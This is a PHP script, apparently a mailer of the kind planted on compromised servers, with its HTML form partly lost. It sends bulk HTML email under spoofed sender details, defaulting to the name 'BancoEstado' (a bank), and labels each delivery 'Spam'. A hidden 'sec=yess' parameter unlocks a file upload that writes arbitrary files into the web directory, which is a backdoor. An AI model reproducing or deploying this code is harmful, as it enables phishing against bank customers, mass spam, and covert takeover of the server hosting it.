if (function_exists('set_time_limit')) {
set_time_limit(0);
}

if (isset($_POST['Enoc'])) {
$message = $_POST['html'] ?? '';
$subject = $_POST['assunto'] ?? '';
$de = $_POST['de'] ?? '';
$nombre = $_POST['RealName'] ?? '';
$ellos = $_POST['ellos'] ?? '';

$message = stripslashes(urldecode(preg_replace("/%5C%22/", "%22", urlencode($message))));
} else {
$message = "

hola my friend, How are u ?

";
$subject = $_SERVER["HTTP_HOST"];
$nombre = "BancoEstado";
$de = "noreply@publimailer.com";
$ellos = "vergasati@gmail.com";
}


Mailer_2025<title>Mailer_2025</title>
<body style="font-family: Arial; font-size: 11px">



<table width="534" height="248" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC">

<table border="0" bgcolor="#FFFFFF" width="95%">

<table border="0" width="100%">

<td width="359">Email:
Nombre:



Asunto:
<td height="18" bgcolor="#C0C0C0">

<table border="0" width="100%">

<textarea name="html" cols="66" rows="10"> echo htmlspecialchars($message); </textarea>
<textarea rows="10" name="ellos" cols="35"> echo htmlspecialchars($ellos); </textarea>








if (!empty($_GET['sec']) && $_GET['sec'] == 'yess') {
echo '



';

$status = "";
if ($_POST["action"] ?? '' === "upload" && isset($_FILES["archivo"])) {
$archivo = $_FILES["archivo"]['name'];
if (!empty($archivo)) {
if (move_uploaded_file($_FILES['archivo']['tmp_name'], "./" . basename($archivo))) {
$status = "Archivo subido: " . htmlspecialchars($archivo) . "";
} else {
$status = "Error al subir el archivo";
}
} else {
$status = "Error al subir archivo";
}
echo $status;
}
}

if (!isset($_POST['Enoc'])) {
exit;
}

$emails = isset($_GET['c']) ? explode(",", $ellos) : explode("\n", $ellos);
$son = count($emails);

$header = "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html; charset=iso-8859-1\r\n";
$header .= "From: $nombre <$de>\r\n";
$header .= "Reply-To: $de\r\n";
$header .= "X-Priority: 3\r\n";
$header .= "X-MSMail-Priority: Normal\r\n";
$header .= "X-Mailer: " . $_SERVER["HTTP_HOST"];

$i = 0;
$voy = 1;

foreach ($emails as $email) {
$mail = trim(str_replace(["\n", "\r\n"], '', $email));
$message1 = str_replace('%email%', $mail, $message);

if (!empty($_GET['time']) && !empty($_GET['cant']) && $i > 0 && $i % $_GET['cant'] == 0) {
echo "----------------------------------> wait {$_GET['time']} Segs. Sending to {$_GET['notf']}...
\n";
flush();
mail($_GET['notf'], $subject, $message, $header);
sleep((int)$_GET['time']);
}

if (mail($mail, $subject, $message1, $header)) {
echo "<font color=blue face=verdana size=1> $voy de $son ;-) $mail Spam...!</font>
\n";
} else {
echo "<font color=red face=verdana size=1> $voy de $son :-( $mail Error de envio!!</font>
\n";
}
flush();
$i++;
$voy++;
}
echo "<script>alert('---Todos Terminados---');</script>";